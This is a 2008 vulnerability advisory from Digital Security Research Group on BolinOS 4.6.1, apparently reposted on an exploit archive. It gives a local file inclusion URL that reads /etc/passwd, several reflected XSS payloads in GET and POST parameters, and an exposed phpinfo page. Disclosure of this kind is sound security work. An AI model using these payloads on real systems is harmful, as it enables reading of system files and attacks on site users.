BolinOS 4.6.1 - Local File Inclusion / Cross-Site Scripting



Author:

DSecRG

Type:

webapps


Platform:

PHP

Date:

2008-03-25


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-022


Application:                    BolinOS
Versions Affected:              4.6.1
Vendor URL:                     http://www.bolinos.com
Bugs:                           Local File Include,Multiple XSS,  System information disclosure
Exploits:                       YES
Reported:                       13.03.2008
Second report:                  18.03.2008
Vendor response:                none
Solution:                       none
Date of Public Advisory:        25.03.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

BolinOS system has multiple security vulnerabilities:

1. Local File Include
2. Multiple Linked XSS vulnerabilities
3. Multiple XSS in POST
4. System information disclosure



Details
*******

1. Local File Include vulnerability found in system/_b/contentFiles/gbincluder.php


Code
****
#################################################

$actionpagetoinclude=$_GET["_bFileToInclude"];
if($actionpagetoinclude!="" && @file_exists(gBRootPath."/$actionpagetoinclude")){
   @include(gBRootPath."/$actionpagetoinclude");
   }
else{
   echo "NO FILE";
  }

#################################################

Example:

http://[server]/[installdir]/system/_b/contentFiles/gbincluder.php?_bFileToInclude=../../../../../../../../../../../../../etc/passwd

---------------------------------------------------------------------


2. Multiple linked XSS vulnerabilities found.

2.1 Linked XSS vulnerability found in page /system/actionspages/_b/contentFiles/gBImageViewer.php

Attacker can inject XSS in GET parameter "url"

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBImageViewer.php?url=<script>alert('DSecRG XSS')</script>


2.2 Linked XSS vulnerability found in page /system/actionspages/_b/contentFiles/gBselectorContents.php

Attacker can inject XSS in GET parameter "ForEditor".

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBselectorContents.php?ForEditor='><IMG%20SRC="javascript:alert('DSecRG XSS')">


2.3 Linked XSS vulnerabilities found in following pages:

/system/actionspages/_b/contentFiles/gBLoginPage.php
/system/actionspages/_b/contentFiles/gBPassword.php

Attacker can inject XSS script in URL

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBLoginPage.php/"><script>alert('DSecRG XSS')</script>
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBPassword.php/"><script>alert('DSecRG XSS')</script>

---------------------------------------------------------------------


3. Multiple XSS in POST vulnerabilities, attacker can inject XSS in POST parameter.

3.1 Vulnerability found in script /system/actionspages/_b/contentFiles/gBLoginPage.php

POST parameter "formlogin".

Example:

POST /bolinos/system/actionspages/_b/contentFiles/gBLoginPage.php?bAddress=bolinos.sessions HTTP/1.0
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DS; .NET CLR 2.0.50727)

formlogin=%27><img%20src%3d%22javascript:alert(%27DSecRG%20XSS%27)%22>&BtLogin.x=


3.2 Vulnerability found in page /help/index.php

POST parameter "bolini_searchengine46Search".

Example:

bolini_searchengine46Search = '><IMG SRC=javascript:alert("DSecRG&#x20;XSS")>

--------------------------------------------------------------------


4. System information disclosure

Non-authentication user can access phpinfo() page.

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBphpInfo.php



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-03-25]